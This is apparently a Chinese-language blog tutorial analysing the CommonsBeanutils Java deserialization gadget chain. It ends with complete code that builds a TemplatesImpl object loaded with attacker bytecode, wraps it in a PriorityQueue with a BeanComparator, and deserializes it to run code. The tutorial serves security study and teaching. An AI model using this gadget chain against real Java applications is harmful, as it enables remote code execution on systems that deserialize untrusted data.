java反序列化之CommonsBeanutils

引用

Java反序列化之CommonsBeanutils

依赖导入

首先我们先导入依赖

1
2
3
4
5
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.3</version>
</dependency>

Bean

Java Bean是一种特定规范的类,使得开发中更加模块化,一个bean需要包括几种特点:

  • 实现Serializable接口,使得类可序列化
  • 无参构造函数,JavaBean应有一个公共的无参构造函数以便使用的时候快速实例化
  • 私有属性,bean的属性一般被声明为private
  • 公有getter和setter用于修改和读取私有属性

注意:getter和setter方法命名要规范

举个简单的例子:

1
2
3
4
5
6
7
8
9
publc class User() implements Serializable{
private String name;
private int age;
public User(){}
public void setName(String name){this.name = name;}
public void setAge(int age){this.age = age;}
public String getName(){return this.name;}
public int getAge(){return this.age;}
}

PropertyUtils.getProperty()

1
2
3
4
5
6
7
public static Object getProperty(final Object bean, final String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {

return (PropertyUtilsBean.getInstance().getProperty(bean, name));

}

该方法传入两个参数,一个是实例化后的bean对象,另一个是字符串类型的属性名

我们继续跟进到PropertyUtilsBean中的getProperty方法,该方法首先检测bean对象中是否存在某个属性(property),存在的话调用其getter(),因此假如说某个getter中存在可利用点,调用该方法的时候即有利用的可能

下面演示一下

获取简单属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.apache.commons.beanutils.BeanUtils;

public class SimplePropertyExample {
public static void main(String[] args) {
User user = new User();
user.setUsername("johndoe");

try {
String username = BeanUtils.getProperty(user, "username");
System.out.println("Username: " + username); // 输出 "Username: johndoe"
} catch (Exception e) {
e.printStackTrace();
}
}
}

User类定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

public class User {
private String username;

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}
}

获取嵌套属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.commons.beanutils.BeanUtils;

public class NestedPropertyExample {
public static void main(String[] args) {
Address address = new Address();
address.setCity("New York");

User user = new User();
user.setAddress(address);

try {
String city = BeanUtils.getProperty(user, "address.city");
System.out.println("City: " + city); // 输出 "City: New York"
} catch (Exception e) {
e.printStackTrace();
}
}
}

User类定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

public class User {
private Address address;

public Address getAddress() {
return address;
}

public void setAddress(Address address) {
this.address = address;
}
}

Address类定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

public class Address {
private String city;

public String getCity() {
return city;
}

public void setCity(String city) {
this.city = city;
}
}

处理集合属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example;

import org.apache.commons.beanutils.BeanUtils;

import java.util.ArrayList;
import java.util.List;

import org.apache.commons.beanutils.PropertyUtils;

public class Cb {
public static void main(String[] args) throws Exception {
Group group = new Group();
List<String> members = new ArrayList<>();
members.add("Alice");
members.add("Bob");
group.setMembers(members);

try {
// 使用 PropertyUtils.getProperty 获取真实的属性值
List<String> groupMembers = (List<String>) PropertyUtils.getProperty(group, "members");
System.out.println("Group Members: " + groupMembers); // 输出 "Group Members: [Alice, Bob]"
} catch (Exception e) {
e.printStackTrace();
}
}
}

Group类代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import java.util.List;

public class Group {
private List<String> members;

public List<String> getMembers() {
return members;
}

public void setMembers(List<String> members) {
this.members = members;
}
}

TemplatesImpl.getOutputProperties()

上面介绍过getProperty()方法能够调用一个getter,在TemplatesImpl中,有一个getter就是getOutputProperties(),通过getProperty()如果bean是一个TemplatesImpl对象,name的值为”outputProperties”,即可调用TemplatesImpl对象的getOutputProperties()方法。CC链的分析中,newTransformer()方法能够调用TransformersImpl的构造方法,在TransformersImpl的构造方法中调用了getTransletInstance()方法,进而走到defineClass()->newInstance()的攻击链

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

BeanComparator.compare()

在BeanComparator的compare()方法中,存在对getProperty()方法的调用,并且参数可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public int compare( final T o1, final T o2 ) {

if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}

try {
final Object value1 = PropertyUtils.getProperty( o1, property );
final Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
......
}

在前面的CC链的分析中,能发现有一处走到compare()方法的调用,即利用优先队列的,因此CB的利用已经初具雏形了

image-20241128145032885

gadget链构造

我们先尝试正向构造链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Cb {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

BeanComparator<Object> beanComparator = new BeanComparator<>();
beanComparator.setProperty("outputProperties");
beanComparator.compare(templates,null);
}
}

运行后会成功弹出计算器

上述代码怎么运行的建议自己调试跟着走一遍理解会更深刻

然后我们补上优先队列构成完整的利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Cb {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

BeanComparator<Object> beanComparator = new BeanComparator<>();
beanComparator.setProperty("outputProperties");
// beanComparator.compare(templates,null);

PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator);
Class c1 = priorityQueue.getClass();
Field queueField = c1.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(priorityQueue,new Object[]{templates,templates,templates});
Field sizeField = c1.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,3);

// serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}